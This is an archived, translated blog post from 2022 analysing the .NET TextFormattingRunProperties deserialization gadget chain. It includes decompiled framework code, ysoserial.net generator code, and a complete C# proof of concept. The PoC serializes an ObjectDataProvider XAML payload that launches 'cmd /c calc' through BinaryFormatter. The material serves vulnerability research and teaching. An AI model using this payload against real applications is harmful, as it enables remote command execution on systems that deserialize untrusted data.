

The TextFormattingRunProperties exploit chain - nice_0e3

TextFormattingRunProperties 000 - nice_0e3 - Author not stated, cnblogs.com.

- Title in English: The TextFormattingRunProperties exploit chain - nice_0e3
- Published: 2022-12-02
- Original: <https://www.cnblogs.com/nice0e3/p/16945401.html>
- Preserved from: <https://www.cnblogs.com/nice0e3/p/16945401.html> (preserved-copy) on 2026-08-04
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source cited by ysonet, kept so the technique survives the page going offline. To read the original, follow the link above.

Content (English translation)

English translation. Original text is retained in the content store; the source PDF, when available, retains its original language.

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

The TextFormattingRunProperties exploit chain - nice_0e3 - cnblogs

[]()

The TextFormattingRunProperties exploit chain

Analysis

During deserialization the constructor with the same parameters as the GetObjectData function is called automatically. So execution reaches here.

```
BinaryFormatterMinifier.cs Program.cs binaryobjectinfo.cs TextFormat...sGenerator.cs TextForma...ies [反编译]
Microsoft PowerShell Editor - Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties - TextFormattingRunProperties(SerializationInfo info, StreamingContext context)
178
179
180
181 internal TextFormattingRunProperties(SerializationInfo info, StreamingContext context)
182 : this()
183
184 //IL_0013: Unknown result type (might be due to invalid IL or missing references)
185 //IL_001d: Expected 0, but got Unknown
186 //IL_002a: Unknown result type (might be due to invalid IL or missing references)
187 //IL_0034: Expected 0, but got Unknown
188 //IL_003b: Unknown result type (might be due to invalid IL or missing references)
189 //IL_0045: Expected 0, but got Unknown
190 //IL_00e2: Unknown result type (might be due to invalid IL or missing references)
191 //IL_00ec: Expected 0, but got Unknown
192 //IL_0131: Unknown result type (might be due to invalid IL or missing references)
193 //IL_0138: Unknown result type (might be due to invalid IL or missing references)
194 //IL_0143: Unknown result type (might be due to invalid IL or missing references)
195 //IL_0149: Unknown result type (might be due to invalid IL or missing references)
196 //IL_0155: Unknown result type (might be due to invalid IL or missing references)
197 //IL_015a: Unknown result type (might be due to invalid IL or missing references)
198 //IL_015e: Unknown result type (might be due to invalid IL or missing references)
199 //IL_015f: Unknown result type (might be due to invalid IL or missing references)
200 //IL_0160: Unknown result type (might be due to invalid IL or missing references)
201 //IL_0162: Unknown result type (might be due to invalid IL or missing references)
202 //IL_016c: Expected 0, but got Unknown
203 foregroundBrush = (Brush)GetObjectFromSerializationInfo("ForegroundBrush", info);
204 backgroundBrush = (Brush)GetObjectFromSerializationInfo("BackgroundBrush", info);
205 size = (double?)GetObjectFromSerializationInfo("FontRenderingSize", info);
206 hintingSize = (double?)GetObjectFromSerializationInfo("FontHintingSize", info);
207 foregroundOpacity = (double?)GetObjectFromSerializationInfo("ForegroundOpacity", info);
208 backgroundOpacity = (double?)GetObjectFromSerializationInfo("BackgroundOpacity", info);
209 italic = (bool?)GetObjectFromSerializationInfo("Italic", info);
210 bold = (bool?)GetObjectFromSerializationInfo("Bold", info);
211 textDecorations = (TextDecorationCollection)GetObjectFromSerializationInfo("TextDecorations", info);
212 textEffects = (TextEffectCollection)GetObjectFromSerializationInfo("TextEffects", info);
213 string text = (string)GetObjectFromSerializationInfo("CultureInfoName", info);
214 cultureInfo = (text == null) ? null : new CultureInfo(text);
215 object objectFromSerializationInfo = GetObjectFromSerializationInfo("FontFamily", info);
216 FontFamily val = (FontFamily)(objectFromSerializationInfo is FontFamily) ? objectFromSerializationInfo : null;
217 if (val != null)
218 {
219     FontStyle val2 = (FontStyle)GetObjectFromSerializationInfo("Typeface.Style", info);
220     FontWeight val3 = (FontWeight)GetObjectFromSerializationInfo("Typeface.Weight", info);
221     FontStretch val4 = (FontStretch)GetObjectFromSerializationInfo("Typeface.Stretch", info);
222     _typeface = new Typeface(val, val2, val3, val4);
223 }
224
225 internal TextFormattingRunProperties(Brush foreground, Brush background, Typeface typeface, double? size, double? hintingSize, TextDecorationCollection textDecorations, TextEffectCollection textEffects)
226 : this()
227 {
228     foregroundBrush = foreground;
229 }
```

TextFormattingRunProperties implements the ISerializable interface, and in its serialization constructor it performs `this.GetObjectFromSerializationInfo("ForegroundBrush", info)`

```
BinaryFormatterMinifier.cs Program.cs binaryobjectinfo.cs TextFormat...sGenerator.cs GetObjectFromSerializationInfo(string name, SerializationInfo info)
Microsoft PowerShell Editor - Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties - GetObjectFromSerializationInfo(string name, SerializationInfo info)
672 //IL_0240: Unknown result type (might be due to invalid IL or missing references)
673 if (info == null)
674 {
675     throw new ArgumentNullException("info");
676 }
677
678 info.AddValue("BackgroundBrush", BackgroundBrushEmpty ? "null" : XamlWriter.Save(((TextRunProperties)this).get_BackgroundBrush()));
679 info.AddValue("ForegroundBrush", ForegroundBrushEmpty ? "null" : XamlWriter.Save(((TextRunProperties)this).get_ForegroundBrush()));
680 info.AddValue("FontHintingSize", FontHintingEmSizeEmpty ? "null" : XamlWriter.Save(((TextRunProperties)this).get_FontHintingEmSize()));
681 info.AddValue("FontRenderingSize", FontRenderingEmSizeEmpty ? "null" : XamlWriter.Save(((TextRunProperties)this).get_FontRenderingEmSize()));
682 info.AddValue("TextDecorations", TextDecorationsEmpty ? "null" : XamlWriter.Save(((TextRunProperties)this).get_TextDecorations()));
683 info.AddValue("TextEffects", TextEffectsEmpty ? "null" : XamlWriter.Save(((TextRunProperties)this).get_TextEffects()));
684 info.AddValue("CultureInfoName", CultureInfoEmpty ? "null" : XamlWriter.Save(((TextRunProperties)this).get_CultureInfo().Name));
685 info.AddValue("FontFamily", TypefaceEmpty ? "null" : XamlWriter.Save(((TextRunProperties)this).get_Typeface().get_FontFamily()));
686 info.AddValue("Italic", ItalicEmpty ? "null" : XamlWriter.Save(Italic));
687 info.AddValue("Bold", BoldEmpty ? "null" : XamlWriter.Save(Bold));
688 info.AddValue("ForegroundOpacity", ForegroundOpacityEmpty ? "null" : XamlWriter.Save(ForegroundOpacity));
689 info.AddValue("BackgroundOpacity", BackgroundOpacityEmpty ? "null" : XamlWriter.Save(BackgroundOpacity));
690 if (!TypefaceEmpty)
691 {
692     info.AddValue("Typeface.Style", XamlWriter.Save(((TextRunProperties)this).get_Typeface().get_Style()));
693     info.AddValue("Typeface.Weight", XamlWriter.Save(((TextRunProperties)this).get_Typeface().get_Weight()));
694     info.AddValue("Typeface.Stretch", XamlWriter.Save(((TextRunProperties)this).get_Typeface().get_Stretch()));
695 }
696
697 private object GetObjectFromSerializationInfo(string name, SerializationInfo info)
698 {
699     string @string = info.GetString(name);
700     if (@string == "null")
701     {
702         return null;
703     }
704     return XamlReader.Parse(@string);
705 }
706
707 [SecurityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.SerializationFormatter)]
708 public object GetRealObject(StreamingContext context)
709 {
710     return FindOrCreateProperties(this);
711 }
712
713
714
715
716 if false // 反编译日志
```

GetObjectFromSerializationInfo takes the value of ForegroundBrush out of info, and then calls XamlReader.Parse(payload) to parse the value it obtained.

Using XamlReader.Parse(payload) chained with the earlier ObjectDataProvider xaml_payload gives command execution. Let us look at how yso builds the ObjectDataProvider payload

```

    public static object TextFormattingRunPropertiesGadget(InputArgs inputArgs)
    {
        ObjectDataProviderGenerator myObjectDataProviderGenerator = new
ObjectDataProviderGenerator();
        string xaml_payload =
myObjectDataProviderGenerator.GenerateWithNoTest("xaml", inputArgs).ToString();

        if (inputArgs.Minify)
        {
            xaml_payload = XmlHelper.Minify(xaml_payload, null, null);
        }

        TextFormattingRunPropertiesMarshal payload = new
TextFormattingRunPropertiesMarshal(xaml_payload);
        return payload;
    }
}

// Generate
public override object Generate(string formatter, InputArgs inputArgs)
{
    // NOTE: What is Xaml2? Xaml2 uses ResourceDictionary in addition to just
using ObjectDataProvider as in Xaml
    if (formatter.ToLower().Equals("xaml"))
    {
        ProcessStartInfo psi = new ProcessStartInfo();

        psi.FileName = inputArgs.CmdFileName;
        if (inputArgs.HasArguments)
        {
            psi.Arguments = inputArgs.CmdArguments;
        }

        StringDictionary dict = new StringDictionary();
        psi.GetType().GetField("environmentVariables", BindingFlags.Instance |
BindingFlags.NonPublic).SetValue(psi, dict);
        Process p = new Process();
        p.StartInfo = psi;
        ObjectDataProvider odp = new ObjectDataProvider();
        odp.MethodName = "Start";
        odp.IsInitialLoadEnabled = false;
        odp.ObjectInstance = p;
    }
}

```

```
string payload = "";

if (variant_number == 2)
{
    ResourceDictionary myResourceDictionary = new ResourceDictionary();
    myResourceDictionary.Add("", odp);
    // XAML serializer can also be exploited!
    payload = SerializersHelper.Xaml_serialize(myResourceDictionary);
}
```

The malicious `ObjectDataProvider` class instance that was built is added to a `ResourceDictionary` object, and then `System.Windows.Markup.XamlWriter.Save` is used to serialize it.

The final payload

```

using System;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using Microsoft.VisualStudio.Text.Formatting;
namespace BinaryFormatterSerialize
{
    [Serializable]
    public class TextFormattingRunPropertiesMarshal : ISerializable
    {
        protected TextFormattingRunPropertiesMarshal(SerializationInfo info,
StreamingContext context)
        {
        }

        string _xaml;
        public void GetObjectData(SerializationInfo info, StreamingContext context)
        {
            Type typeTFRP = typeof(TextFormattingRunProperties);
            info.SetType(typeTFRP);
            info.AddValue("ForegroundBrush", _xaml);
        }
        public TextFormattingRunPropertiesMarshal(string xaml)
        {
            _xaml = xaml;
        }
    }
    class Program
    {
        static void Main(string[] args)
        {
            //string xaml_payload =
File.ReadAllText(@"C:\Users\sangfor\Desktop\ysoserial.net-master\ysoserial.net-
master\TestConsoleApp\1.xml");

            string payloadxml = "<?xml version=\"1.0\" encoding=\"utf-16\"?
>\r\n<ObjectDataProvider MethodName=\"Start\" IsInitialLoadEnabled=\"False\"
xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" xmlns:sd=\"clr-
namespace:System.Diagnostics;assembly=System\"
xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\">\r\n
<ObjectDataProvider.ObjectInstance>\r\n    <sd:Process>\r\n
<sd:Process.StartInfo>\r\n        <sd:ProcessStartInfo Arguments=\"/c calc\"
StandardErrorEncoding=\"{x:Null}\" StandardOutputEncoding=\"{x:Null}\" UserName=\"\"
Password=\"{x:Null}\" Domain=\"\" LoadUserProfile=\"False\" FileName=\"cmd\" />\r\n

```

```

</sd:Process.StartInfo>\r\n    </sd:Process>\r\n
</ObjectDataProvider.ObjectInstance>\r\n</ObjectDataProvider>";

        TextFormattingRunPropertiesMarshal payload = new
TextFormattingRunPropertiesMarshal(payloadxml);
        MemoryStream memoryStream = new MemoryStream();
        BinaryFormatter binaryFormatter = new BinaryFormatter();
        binaryFormatter.Serialize(memoryStream, payload);
        memoryStream.Position = 0;
        binaryFormatter.Deserialize(memoryStream);

        Console.ReadKey();
    }
}
}

```

The whole flow is as follows:

Serialization: write your own class implementing `ISerializable`, override the `GetObjectData` method, assign the xaml payload to the `ForegroundBrush` field, and set the object type to the `TextFormattingRunProperties` class

Deserialization: during deserialization the deserialization constructor `GetObjectFromSerializationInfo` is triggered -> it gets the value of the `ForegroundBrush` that was set and calls `XamlReader.Parse(payload)`, giving command execution

References

<https://www.freebuf.com/articles/network/351317.html>

<https://github.com/Y4er/dotnet-deserialization/blob/main/BinaryFormatter.md>

posted @ 2022-12-02 19:07 nice_0e3 views(741) comments() [Bookmark]() Report